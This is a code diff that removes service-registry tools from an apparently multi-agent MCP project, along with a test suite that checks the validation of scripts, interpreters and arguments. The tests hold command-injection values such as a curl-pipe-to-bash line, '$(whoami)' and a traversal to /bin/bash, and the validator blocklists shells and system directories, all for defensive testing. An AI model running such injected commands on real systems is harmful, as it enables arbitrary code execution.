for (const suffix of ["", "-wal", "-shm"]) {
|
|
86
|
-
try {
|
|
87
|
-
await unlink(TEST_DB_PATH + suffix);
|
|
88
|
-
} catch {}
|
|
89
|
-
}
|
|
90
|
-
});
|
|
91
|
-
|
|
92
|
-
describe("register-service security validation", () => {
|
|
93
|
-
test("registers allowed project scripts under the caller agent", async () => {
|
|
94
|
-
const result = await callRegisterService({
|
|
95
|
-
script: "/workspace/services/demo/server.ts",
|
|
96
|
-
cwd: "/workspace/services/demo",
|
|
97
|
-
interpreter: "bun",
|
|
98
|
-
args: ["--host", "0.0.0.0"],
|
|
99
|
-
env: { NODE_ENV: "test" },
|
|
100
|
-
});
|
|
101
|
-
|
|
102
|
-
const structured = structuredOf(result);
|
|
103
|
-
expect(structured.success).toBe(true);
|
|
104
|
-
expect(structured.service?.agentId).toBe(WORKER_ID);
|
|
105
|
-
expect(structured.service?.name).toBe(WORKER_ID);
|
|
106
|
-
expect(structured.service?.script).toBe("/workspace/services/demo/server.ts");
|
|
107
|
-
expect(structured.service?.interpreter).toBe("bun");
|
|
108
|
-
|
|
109
|
-
const stored = await getServiceByAgentAndName(WORKER_ID, WORKER_ID);
|
|
110
|
-
expect(stored?.agentId).toBe(WORKER_ID);
|
|
111
|
-
expect(stored?.args).toEqual(["--host", "0.0.0.0"]);
|
|
112
|
-
});
|
|
113
|
-
|
|
114
|
-
test("rejects scripts outside allowed roots, including traversal to system shells", async () => {
|
|
115
|
-
const directShell = structuredOf(
|
|
116
|
-
await callRegisterService({ script: "/bin/bash" }, OTHER_WORKER_ID),
|
|
117
|
-
);
|
|
118
|
-
expect(directShell.success).toBe(false);
|
|
119
|
-
expect(directShell.message).toContain("script must point to a project file");
|
|
120
|
-
|
|
121
|
-
const traversedShell = structuredOf(
|
|
122
|
-
await callRegisterService({ script: "/workspace/../../bin/bash" }, OTHER_WORKER_ID),
|
|
123
|
-
);
|
|
124
|
-
expect(traversedShell.success).toBe(false);
|
|
125
|
-
expect(traversedShell.message).toContain("script must point to a project file");
|
|
126
|
-
|
|
127
|
-
const traversedOutsideWorkspace = structuredOf(
|
|
128
|
-
await callRegisterService({ script: "/workspace/../tmp/server.js" }, OTHER_WORKER_ID),
|
|
129
|
-
);
|
|
130
|
-
expect(traversedOutsideWorkspace.success).toBe(false);
|
|
131
|
-
expect(traversedOutsideWorkspace.message).toContain(
|
|
132
|
-
"script must resolve under /workspace/ or /home/worker/",
|
|
133
|
-
);
|
|
134
|
-
expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
|
|
135
|
-
});
|
|
136
|
-
|
|
137
|
-
test("rejects shell interpreters", async () => {
|
|
138
|
-
for (const interpreter of ["bash", "sh", "/bin/bash"]) {
|
|
139
|
-
const result = await callRegisterService(
|
|
140
|
-
{
|
|
141
|
-
script: "/workspace/services/demo/server.ts",
|
|
142
|
-
interpreter,
|
|
143
|
-
},
|
|
144
|
-
OTHER_WORKER_ID,
|
|
145
|
-
);
|
|
146
|
-
|
|
147
|
-
const structured = structuredOf(result);
|
|
148
|
-
expect(structured.success).toBe(false);
|
|
149
|
-
expect(structured.message).toContain("interpreter must be one of: node, bun, python3");
|
|
150
|
-
}
|
|
151
|
-
|
|
152
|
-
expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
|
|
153
|
-
});
|
|
154
|
-
|
|
155
|
-
test("rejects shell metacharacters in args before persistence", async () => {
|
|
156
|
-
for (const arg of [
|
|
157
|
-
"curl https://example.test | bash",
|
|
158
|
-
"echo ok; whoami",
|
|
159
|
-
"echo $(whoami)",
|
|
160
|
-
"`id`",
|
|
161
|
-
"line\nbreak",
|
|
162
|
-
]) {
|
|
163
|
-
const result = await callRegisterService(
|
|
164
|
-
{
|
|
165
|
-
script: "/workspace/services/demo/server.ts",
|
|
166
|
-
interpreter: "bun",
|
|
167
|
-
args: [arg],
|
|
168
|
-
},
|
|
169
|
-
OTHER_WORKER_ID,
|
|
170
|
-
);
|
|
171
|
-
const structured = structuredOf(result);
|
|
172
|
-
expect(structured.success).toBe(false);
|
|
173
|
-
expect(structured.message).toContain("args must not contain shell metacharacters");
|
|
174
|
-
expect(await getServiceByAgentAndName(OTHER_WORKER_ID, OTHER_WORKER_ID)).toBeNull();
|
|
175
|
-
}
|
|
176
|
-
});
|
|
177
|
-
|
|
178
|
-
test("ecosystem config only includes services owned by the requesting agent", async () => {
|
|
179
|
-
await createService(OTHER_WORKER_ID, OTHER_WORKER_ID, {
|
|
180
|
-
script: "/workspace/other/server.ts",
|
|
181
|
-
interpreter: "bun",
|
|
182
|
-
});
|
|
183
|
-
|
|
184
|
-
const { handled, statusCode, body } = await getEcosystemFor(WORKER_ID);
|
|
185
|
-
expect(handled).toBe(true);
|
|
186
|
-
expect(statusCode).toBe(200);
|
|
187
|
-
expect(body.apps).toHaveLength(1);
|
|
188
|
-
expect(body.apps[0]).toMatchObject({
|
|
189
|
-
name: WORKER_ID,
|
|
190
|
-
script: "/workspace/services/demo/server.ts",
|
|
191
|
-
});
|
|
192
|
-
expect(body.apps.some((app) => app.name === OTHER_WORKER_ID)).toBe(false);
|
|
193
|
-
});
|
|
194
|
-
});
|
|
@@ -1,107 +0,0 @@
|
|
|
1
|
-
import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
2
|
-
import * as z from "zod";
|
|
3
|
-
import { getAgentById, getAllServices } from "@/be/db";
|
|
4
|
-
import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
|
|
5
|
-
import { ServiceStatusSchema } from "@/types";
|
|
6
|
-
|
|
7
|
-
// Loose mirror of ServiceSchema (+ denormalized agentName) for tool output:
|
|
8
|
-
// every field optional, no url/uuid/datetime format pins.
|
|
9
|
-
const serviceWithAgentNameOutputShape = z.looseObject({
|
|
10
|
-
id: z.string().optional(),
|
|
11
|
-
agentId: z.string().optional(),
|
|
12
|
-
name: z.string().optional(),
|
|
13
|
-
port: z.number().optional(),
|
|
14
|
-
description: z.string().optional(),
|
|
15
|
-
url: z.string().optional(),
|
|
16
|
-
healthCheckPath: z.string().optional(),
|
|
17
|
-
status: ServiceStatusSchema.optional(),
|
|
18
|
-
script: z.string().optional(),
|
|
19
|
-
cwd: z.string().optional(),
|
|
20
|
-
interpreter: z.string().optional(),
|
|
21
|
-
args: z.array(z.string()).optional(),
|
|
22
|
-
env: z.record(z.string(), z.string()).optional(),
|
|
23
|
-
metadata: z.record(z.string(), z.unknown()).optional(),
|
|
24
|
-
createdAt: z.string().optional(),
|
|
25
|
-
lastUpdatedAt: z.string().optional(),
|
|
26
|
-
agentName: z.string().optional(),
|
|
27
|
-
});
|
|
28
|
-
|
|
29
|
-
export const registerListServicesTool = (server: McpServer) => {
|
|
30
|
-
createToolRegistrar(server)(
|
|
31
|
-
"list-services",
|
|
32
|
-
{
|
|
33
|
-
title: "List Services",
|
|
34
|
-
description:
|
|
35
|
-
"Query services registered by agents in the swarm. Use this to discover services exposed by other agents.",
|
|
36
|
-
annotations: { readOnlyHint: true },
|
|
37
|
-
|
|
38
|
-
inputSchema: z.object({
|
|
39
|
-
agentId: z.string().optional().describe("Filter by specific agent ID."),
|
|
40
|
-
name: z.string().optional().describe("Filter by service name (partial match)."),
|
|
41
|
-
status: ServiceStatusSchema.optional().describe("Filter by health status."),
|
|
42
|
-
includeOwn: z
|
|
43
|
-
.boolean()
|
|
44
|
-
.default(true)
|
|
45
|
-
.optional()
|
|
46
|
-
.describe("Include services registered by calling agent (default: true)."),
|
|
47
|
-
}),
|
|
48
|
-
outputSchema: swarmToolOutputSchema({
|
|
49
|
-
yourAgentId: z.string().optional(),
|
|
50
|
-
services: z.array(serviceWithAgentNameOutputShape).optional(),
|
|
51
|
-
count: z.number().optional(),
|
|
52
|
-
}),
|
|
53
|
-
},
|
|
54
|
-
async ({ agentId, name, status, includeOwn }, requestInfo, _meta) => {
|
|
55
|
-
if (!requestInfo.agentId) {
|
|
56
|
-
return toolErr('Agent ID not found. Set the "X-Agent-ID" header.', {
|
|
57
|
-
data: { services: [], count: 0 },
|
|
58
|
-
});
|
|
59
|
-
}
|
|
60
|
-
|
|
61
|
-
try {
|
|
62
|
-
let services = await getAllServices({
|
|
63
|
-
agentId,
|
|
64
|
-
name,
|
|
65
|
-
status,
|
|
66
|
-
});
|
|
67
|
-
|
|
68
|
-
// Filter out own services if requested
|
|
69
|
-
if (includeOwn === false) {
|
|
70
|
-
services = services.filter((s) => s.agentId !== requestInfo.agentId);
|
|
71
|
-
}
|
|
72
|
-
|
|
73
|
-
// Denormalize agent names
|
|
74
|
-
const servicesWithAgentNames = await Promise.all(
|
|
75
|
-
services.map(async (service) => {
|
|
76
|
-
const agent = await getAgentById(service.agentId);
|
|
77
|
-
return {
|
|
78
|
-
...service,
|
|
79
|
-
agentName: agent?.name,
|
|
80
|
-
};
|
|
81
|
-
}),
|
|
82
|
-
);
|
|
83
|
-
|
|
84
|
-
const count = servicesWithAgentNames.length;
|
|
85
|
-
const statusSummary =
|
|
86
|
-
count === 0 ? "No services found." : `Found ${count} service${count === 1 ? "" : "s"}.`;
|
|
87
|
-
|
|
88
|
-
// Format for text output
|
|
89
|
-
const serviceList = servicesWithAgentNames
|
|
90
|
-
.map(
|
|
91
|
-
(s) => `- ${s.name} (${s.status}) by ${s.agentName ?? "unknown"}: ${s.url ?? "no URL"}`,
|
|
92
|
-
)
|
|
93
|
-
.join("\n");
|
|
94
|
-
|
|
95
|
-
return toolOk(statusSummary, {
|
|
96
|
-
details: count === 0 ? undefined : serviceList,
|
|
97
|
-
data: { yourAgentId: requestInfo.agentId, services: servicesWithAgentNames, count },
|
|
98
|
-
});
|
|
99
|
-
} catch (error) {
|
|
100
|
-
const message = error instanceof Error ? error.message : "Unknown error";
|
|
101
|
-
return toolErr(`Failed to list services: ${message}`, {
|
|
102
|
-
data: { yourAgentId: requestInfo.agentId, services: [], count: 0 },
|
|
103
|
-
});
|
|
104
|
-
}
|
|
105
|
-
},
|
|
106
|
-
);
|
|
107
|
-
};
|
|
@@ -1,177 +0,0 @@
|
|
|
1
|
-
import path from "node:path";
|
|
2
|
-
import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
3
|
-
import * as z from "zod";
|
|
4
|
-
import { getAgentById, upsertService } from "@/be/db";
|
|
5
|
-
import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
|
|
6
|
-
import { ServiceStatusSchema } from "@/types";
|
|
7
|
-
|
|
8
|
-
// Loose mirror of ServiceSchema for tool output: every field optional, no
|
|
9
|
-
// url/uuid/datetime format pins.
|
|
10
|
-
const serviceOutputShape = z.looseObject({
|
|
11
|
-
id: z.string().optional(),
|
|
12
|
-
agentId: z.string().optional(),
|
|
13
|
-
name: z.string().optional(),
|
|
14
|
-
port: z.number().optional(),
|
|
15
|
-
description: z.string().optional(),
|
|
16
|
-
url: z.string().optional(),
|
|
17
|
-
healthCheckPath: z.string().optional(),
|
|
18
|
-
status: ServiceStatusSchema.optional(),
|
|
19
|
-
script: z.string().optional(),
|
|
20
|
-
cwd: z.string().optional(),
|
|
21
|
-
interpreter: z.string().optional(),
|
|
22
|
-
args: z.array(z.string()).optional(),
|
|
23
|
-
env: z.record(z.string(), z.string()).optional(),
|
|
24
|
-
metadata: z.record(z.string(), z.unknown()).optional(),
|
|
25
|
-
createdAt: z.string().optional(),
|
|
26
|
-
lastUpdatedAt: z.string().optional(),
|
|
27
|
-
});
|
|
28
|
-
|
|
29
|
-
const SWARM_URL = process.env.SWARM_URL ?? "localhost";
|
|
30
|
-
const ALLOWED_SCRIPT_ROOTS = ["/workspace", "/home/worker"];
|
|
31
|
-
const ALLOWED_INTERPRETERS = new Set(["node", "bun", "python3"]);
|
|
32
|
-
const BLOCKED_SCRIPT_BASENAMES = new Set(["bash", "sh", "dash", "zsh", "fish", "ksh"]);
|
|
33
|
-
const BLOCKED_SYSTEM_EXECUTABLE_DIRS = [
|
|
34
|
-
"/bin/",
|
|
35
|
-
"/usr/bin/",
|
|
36
|
-
"/usr/local/bin/",
|
|
37
|
-
"/sbin/",
|
|
38
|
-
"/usr/sbin/",
|
|
39
|
-
];
|
|
40
|
-
const ARG_SHELL_METACHARACTER_PATTERN = /[;&|`\n\r]|\$\(/;
|
|
41
|
-
|
|
42
|
-
function isPathWithinRoot(candidate: string, root: string): boolean {
|
|
43
|
-
const relative = path.relative(root, candidate);
|
|
44
|
-
return relative === "" || (!relative.startsWith("..") && !path.isAbsolute(relative));
|
|
45
|
-
}
|
|
46
|
-
|
|
47
|
-
function validatePathInsideAllowedRoots(value: string, fieldName: "script" | "cwd"): string {
|
|
48
|
-
if (!path.isAbsolute(value)) {
|
|
49
|
-
throw new Error(`${fieldName} must be an absolute path under /workspace/ or /home/worker/`);
|
|
50
|
-
}
|
|
51
|
-
|
|
52
|
-
const resolved = path.resolve(value);
|
|
53
|
-
if (BLOCKED_SYSTEM_EXECUTABLE_DIRS.some((dir) => resolved.startsWith(dir))) {
|
|
54
|
-
throw new Error(
|
|
55
|
-
`${fieldName} must point to a project file under /workspace/ or /home/worker/, not a system executable`,
|
|
56
|
-
);
|
|
57
|
-
}
|
|
58
|
-
|
|
59
|
-
if (fieldName === "script" && BLOCKED_SCRIPT_BASENAMES.has(path.basename(resolved))) {
|
|
60
|
-
throw new Error(`${fieldName} must not point to a shell executable`);
|
|
61
|
-
}
|
|
62
|
-
|
|
63
|
-
if (!ALLOWED_SCRIPT_ROOTS.some((root) => isPathWithinRoot(resolved, root))) {
|
|
64
|
-
throw new Error(`${fieldName} must resolve under /workspace/ or /home/worker/`);
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
return resolved;
|
|
68
|
-
}
|
|
69
|
-
|
|
70
|
-
function validateInterpreter(interpreter: string | undefined): string | undefined {
|
|
71
|
-
if (interpreter === undefined) return undefined;
|
|
72
|
-
if (!ALLOWED_INTERPRETERS.has(interpreter)) {
|
|
73
|
-
throw new Error("interpreter must be one of: node, bun, python3");
|
|
74
|
-
}
|
|
75
|
-
return interpreter;
|
|
76
|
-
}
|
|
77
|
-
|
|
78
|
-
function validateArgs(args: string[] | undefined): string[] | undefined {
|
|
79
|
-
if (!args) return undefined;
|
|
80
|
-
const unsafeArg = args.find((arg) => ARG_SHELL_METACHARACTER_PATTERN.test(arg));
|
|
81
|
-
if (unsafeArg !== undefined) {
|
|
82
|
-
throw new Error(
|
|
83
|
-
`args must not contain shell metacharacters (;, &, |, $(...), backticks, or newlines): ${unsafeArg}`,
|
|
84
|
-
);
|
|
85
|
-
}
|
|
86
|
-
return args;
|
|
87
|
-
}
|
|
88
|
-
|
|
89
|
-
export const registerRegisterServiceTool = (server: McpServer) => {
|
|
90
|
-
createToolRegistrar(server)(
|
|
91
|
-
"register-service",
|
|
92
|
-
{
|
|
93
|
-
title: "Register Service",
|
|
94
|
-
description:
|
|
95
|
-
"Register a background service (e.g., PM2 process) for discovery by other agents. The service URL is automatically derived from your agent ID (https://{AGENT_ID}.{SWARM_URL}). Each agent can only run one service on port 3000.",
|
|
96
|
-
annotations: { idempotentHint: true },
|
|
97
|
-
|
|
98
|
-
inputSchema: z.object({
|
|
99
|
-
script: z.string().min(1).describe("Path to the script to run (required for PM2 restart)."),
|
|
100
|
-
description: z.string().optional().describe("What this service does."),
|
|
101
|
-
healthCheckPath: z
|
|
102
|
-
.string()
|
|
103
|
-
.optional()
|
|
104
|
-
.describe("Health check endpoint path (default: /health)."),
|
|
105
|
-
cwd: z.string().optional().describe("Working directory for the script."),
|
|
106
|
-
interpreter: z
|
|
107
|
-
.string()
|
|
108
|
-
.optional()
|
|
109
|
-
.describe(
|
|
110
|
-
"Interpreter to use (e.g., 'node', 'bun'). Auto-detected from extension if not set.",
|
|
111
|
-
),
|
|
112
|
-
args: z.array(z.string()).optional().describe("Command line arguments for the script."),
|
|
113
|
-
env: z
|
|
114
|
-
.record(z.string(), z.string())
|
|
115
|
-
.optional()
|
|
116
|
-
.describe("Environment variables for the process."),
|
|
117
|
-
metadata: z.record(z.string(), z.unknown()).optional().describe("Additional metadata."),
|
|
118
|
-
}),
|
|
119
|
-
outputSchema: swarmToolOutputSchema({
|
|
120
|
-
yourAgentId: z.string().optional(),
|
|
121
|
-
service: serviceOutputShape.optional(),
|
|
122
|
-
}),
|
|
123
|
-
},
|
|
124
|
-
async (
|
|
125
|
-
{ script, description, healthCheckPath, cwd, interpreter, args, env, metadata },
|
|
126
|
-
requestInfo,
|
|
127
|
-
_meta,
|
|
128
|
-
) => {
|
|
129
|
-
if (!requestInfo.agentId) {
|
|
130
|
-
return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
|
|
131
|
-
}
|
|
132
|
-
|
|
133
|
-
try {
|
|
134
|
-
// Look up the agent to get its name
|
|
135
|
-
const agent = await getAgentById(requestInfo.agentId);
|
|
136
|
-
if (!agent) {
|
|
137
|
-
return toolErr("Agent not found. Join the swarm first.", {
|
|
138
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
139
|
-
});
|
|
140
|
-
}
|
|
141
|
-
|
|
142
|
-
// Service name uses agent ID (stable, URL-safe) for subdomain
|
|
143
|
-
const serviceName = agent.id;
|
|
144
|
-
const servicePort = 3000; // Fixed port - only one service per worker
|
|
145
|
-
const url = `https://${serviceName}.${SWARM_URL}`;
|
|
146
|
-
const safeScript = validatePathInsideAllowedRoots(script, "script");
|
|
147
|
-
const safeCwd = cwd ? validatePathInsideAllowedRoots(cwd, "cwd") : undefined;
|
|
148
|
-
const safeInterpreter = validateInterpreter(interpreter);
|
|
149
|
-
const safeArgs = validateArgs(args);
|
|
150
|
-
|
|
151
|
-
// Upsert: create or update if exists
|
|
152
|
-
const service = await upsertService(requestInfo.agentId, serviceName, {
|
|
153
|
-
script: safeScript,
|
|
154
|
-
port: servicePort,
|
|
155
|
-
description,
|
|
156
|
-
url,
|
|
157
|
-
healthCheckPath: healthCheckPath ?? "/health",
|
|
158
|
-
cwd: safeCwd,
|
|
159
|
-
interpreter: safeInterpreter,
|
|
160
|
-
args: safeArgs,
|
|
161
|
-
env,
|
|
162
|
-
metadata,
|
|
163
|
-
});
|
|
164
|
-
|
|
165
|
-
return toolOk(
|
|
166
|
-
`Registered service "${serviceName}" at ${url}. Status: ${service.status}. Use update-service-status to mark as healthy.`,
|
|
167
|
-
{ data: { yourAgentId: requestInfo.agentId, service } },
|
|
168
|
-
);
|
|
169
|
-
} catch (error) {
|
|
170
|
-
const message = error instanceof Error ? error.message : "Unknown error";
|
|
171
|
-
return toolErr(`Failed to register service: ${message}`, {
|
|
172
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
173
|
-
});
|
|
174
|
-
}
|
|
175
|
-
},
|
|
176
|
-
);
|
|
177
|
-
};
|
|
@@ -1,73 +0,0 @@
|
|
|
1
|
-
import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
2
|
-
import * as z from "zod";
|
|
3
|
-
import { deleteService, getServiceByAgentAndName, getServiceById } from "@/be/db";
|
|
4
|
-
import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
|
|
5
|
-
|
|
6
|
-
export const registerUnregisterServiceTool = (server: McpServer) => {
|
|
7
|
-
createToolRegistrar(server)(
|
|
8
|
-
"unregister-service",
|
|
9
|
-
{
|
|
10
|
-
title: "Unregister Service",
|
|
11
|
-
description:
|
|
12
|
-
"Remove a service from the registry. Use this after stopping a PM2 process. You can only unregister your own services.",
|
|
13
|
-
annotations: { destructiveHint: true },
|
|
14
|
-
|
|
15
|
-
inputSchema: z.object({
|
|
16
|
-
serviceId: z.uuid().optional().describe("Service ID to unregister."),
|
|
17
|
-
name: z
|
|
18
|
-
.string()
|
|
19
|
-
.optional()
|
|
20
|
-
.describe("Service name to unregister (alternative to serviceId)."),
|
|
21
|
-
}),
|
|
22
|
-
outputSchema: swarmToolOutputSchema({
|
|
23
|
-
yourAgentId: z.string().optional(),
|
|
24
|
-
}),
|
|
25
|
-
},
|
|
26
|
-
async ({ serviceId, name }, requestInfo, _meta) => {
|
|
27
|
-
if (!requestInfo.agentId) {
|
|
28
|
-
return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
|
|
29
|
-
}
|
|
30
|
-
|
|
31
|
-
if (!serviceId && !name) {
|
|
32
|
-
return toolErr("Either serviceId or name is required.", {
|
|
33
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
34
|
-
});
|
|
35
|
-
}
|
|
36
|
-
|
|
37
|
-
try {
|
|
38
|
-
// Find the service
|
|
39
|
-
let service = serviceId ? await getServiceById(serviceId) : null;
|
|
40
|
-
if (!service && name) {
|
|
41
|
-
service = await getServiceByAgentAndName(requestInfo.agentId, name);
|
|
42
|
-
}
|
|
43
|
-
|
|
44
|
-
if (!service) {
|
|
45
|
-
return toolErr("Service not found.", { data: { yourAgentId: requestInfo.agentId } });
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
// Check ownership
|
|
49
|
-
if (service.agentId !== requestInfo.agentId) {
|
|
50
|
-
return toolErr("You can only unregister your own services.", {
|
|
51
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
52
|
-
});
|
|
53
|
-
}
|
|
54
|
-
|
|
55
|
-
const deleted = await deleteService(service.id);
|
|
56
|
-
if (!deleted) {
|
|
57
|
-
return toolErr("Failed to unregister service.", {
|
|
58
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
59
|
-
});
|
|
60
|
-
}
|
|
61
|
-
|
|
62
|
-
return toolOk(`Unregistered service "${service.name}".`, {
|
|
63
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
64
|
-
});
|
|
65
|
-
} catch (error) {
|
|
66
|
-
const message = error instanceof Error ? error.message : "Unknown error";
|
|
67
|
-
return toolErr(`Failed to unregister service: ${message}`, {
|
|
68
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
69
|
-
});
|
|
70
|
-
}
|
|
71
|
-
},
|
|
72
|
-
);
|
|
73
|
-
};
|
|
@@ -1,96 +0,0 @@
|
|
|
1
|
-
import type { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
2
|
-
import * as z from "zod";
|
|
3
|
-
import { getServiceByAgentAndName, getServiceById, updateServiceStatus } from "@/be/db";
|
|
4
|
-
import { createToolRegistrar, swarmToolOutputSchema, toolErr, toolOk } from "@/tools/utils";
|
|
5
|
-
import { ServiceStatusSchema } from "@/types";
|
|
6
|
-
|
|
7
|
-
// Loose mirror of ServiceSchema for tool output: every field optional, no
|
|
8
|
-
// url/uuid/datetime format pins.
|
|
9
|
-
const serviceOutputShape = z.looseObject({
|
|
10
|
-
id: z.string().optional(),
|
|
11
|
-
agentId: z.string().optional(),
|
|
12
|
-
name: z.string().optional(),
|
|
13
|
-
port: z.number().optional(),
|
|
14
|
-
description: z.string().optional(),
|
|
15
|
-
url: z.string().optional(),
|
|
16
|
-
healthCheckPath: z.string().optional(),
|
|
17
|
-
status: ServiceStatusSchema.optional(),
|
|
18
|
-
script: z.string().optional(),
|
|
19
|
-
cwd: z.string().optional(),
|
|
20
|
-
interpreter: z.string().optional(),
|
|
21
|
-
args: z.array(z.string()).optional(),
|
|
22
|
-
env: z.record(z.string(), z.string()).optional(),
|
|
23
|
-
metadata: z.record(z.string(), z.unknown()).optional(),
|
|
24
|
-
createdAt: z.string().optional(),
|
|
25
|
-
lastUpdatedAt: z.string().optional(),
|
|
26
|
-
});
|
|
27
|
-
|
|
28
|
-
export const registerUpdateServiceStatusTool = (server: McpServer) => {
|
|
29
|
-
createToolRegistrar(server)(
|
|
30
|
-
"update-service-status",
|
|
31
|
-
{
|
|
32
|
-
title: "Update Service Status",
|
|
33
|
-
description:
|
|
34
|
-
"Update the health status of a registered service. Use this after a service becomes healthy or needs to be marked as stopped/unhealthy.",
|
|
35
|
-
annotations: { idempotentHint: true },
|
|
36
|
-
|
|
37
|
-
inputSchema: z.object({
|
|
38
|
-
serviceId: z.uuid().optional().describe("Service ID to update."),
|
|
39
|
-
name: z.string().optional().describe("Service name to update (alternative to serviceId)."),
|
|
40
|
-
status: ServiceStatusSchema.describe(
|
|
41
|
-
"New status: 'starting', 'healthy', 'unhealthy', or 'stopped'.",
|
|
42
|
-
),
|
|
43
|
-
}),
|
|
44
|
-
outputSchema: swarmToolOutputSchema({
|
|
45
|
-
yourAgentId: z.string().optional(),
|
|
46
|
-
service: serviceOutputShape.optional(),
|
|
47
|
-
}),
|
|
48
|
-
},
|
|
49
|
-
async ({ serviceId, name, status }, requestInfo, _meta) => {
|
|
50
|
-
if (!requestInfo.agentId) {
|
|
51
|
-
return toolErr('Agent ID not found. Set the "X-Agent-ID" header.');
|
|
52
|
-
}
|
|
53
|
-
|
|
54
|
-
if (!serviceId && !name) {
|
|
55
|
-
return toolErr("Either serviceId or name is required.", {
|
|
56
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
57
|
-
});
|
|
58
|
-
}
|
|
59
|
-
|
|
60
|
-
try {
|
|
61
|
-
// Find the service
|
|
62
|
-
let service = serviceId ? await getServiceById(serviceId) : null;
|
|
63
|
-
if (!service && name) {
|
|
64
|
-
service = await getServiceByAgentAndName(requestInfo.agentId, name);
|
|
65
|
-
}
|
|
66
|
-
|
|
67
|
-
if (!service) {
|
|
68
|
-
return toolErr("Service not found.", { data: { yourAgentId: requestInfo.agentId } });
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
// Check ownership
|
|
72
|
-
if (service.agentId !== requestInfo.agentId) {
|
|
73
|
-
return toolErr("You can only update status of your own services.", {
|
|
74
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
75
|
-
});
|
|
76
|
-
}
|
|
77
|
-
|
|
78
|
-
const updated = await updateServiceStatus(service.id, status);
|
|
79
|
-
if (!updated) {
|
|
80
|
-
return toolErr("Failed to update service status.", {
|
|
81
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
82
|
-
});
|
|
83
|
-
}
|
|
84
|
-
|
|
85
|
-
return toolOk(`Updated service "${service.name}" status to "${status}".`, {
|
|
86
|
-
data: { yourAgentId: requestInfo.agentId, service: updated },
|
|
87
|
-
});
|
|
88
|
-
} catch (error) {
|
|
89
|
-
const message = error instanceof Error ? error.message : "Unknown error";
|
|
90
|
-
return toolErr(`Failed to update service status: ${message}`, {
|
|
91
|
-
data: { yourAgentId: requestInfo.agentId },
|
|
92
|
-
});
|
|
93
|
-
}
|
|
94
|
-
},
|
|
95
|
-
);
|
|
96
|
-
};
|
|
@@ -1,14 +0,0 @@
|
|
|
1
|
-
{
|
|
2
|
-
"kind": "skill",
|
|
3
|
-
"name": "artifacts",
|
|
4
|
-
"displayName": "Artifacts",
|
|
5
|
-
"slug": "artifacts",
|
|
6
|
-
"title": "Artifacts",
|
|
7
|
-
"description": "Store durable task outputs (reports, screenshots, exports, logs) in agent-fs or the shared workspace, and serve interactive web content to a public auth-protected URL via localtunnel. Use when asked to save evidence for a PR/ticket, share a file, \"create an artifact for X\", \"host this for me\", \"spin up a web server\", or \"give me a live link\". Covers agent-fs writes and verification, binary uploads, naming and attachment conventions, the `agent-swarm artifact` CLI, Hono apps, PM2 daemonization, HTTP Basic auth, and the injected browser SDK.",
|
|
8
|
-
"version": "2.0.0",
|
|
9
|
-
"category": "skills",
|
|
10
|
-
"placeholders": [],
|
|
11
|
-
"runAllSeedersCandidate": true,
|
|
12
|
-
"systemDefault": false,
|
|
13
|
-
"tags": ["artifacts", "evidence", "qa", "agent-fs", "serving", "tunnel"]
|
|
14
|
-
}
|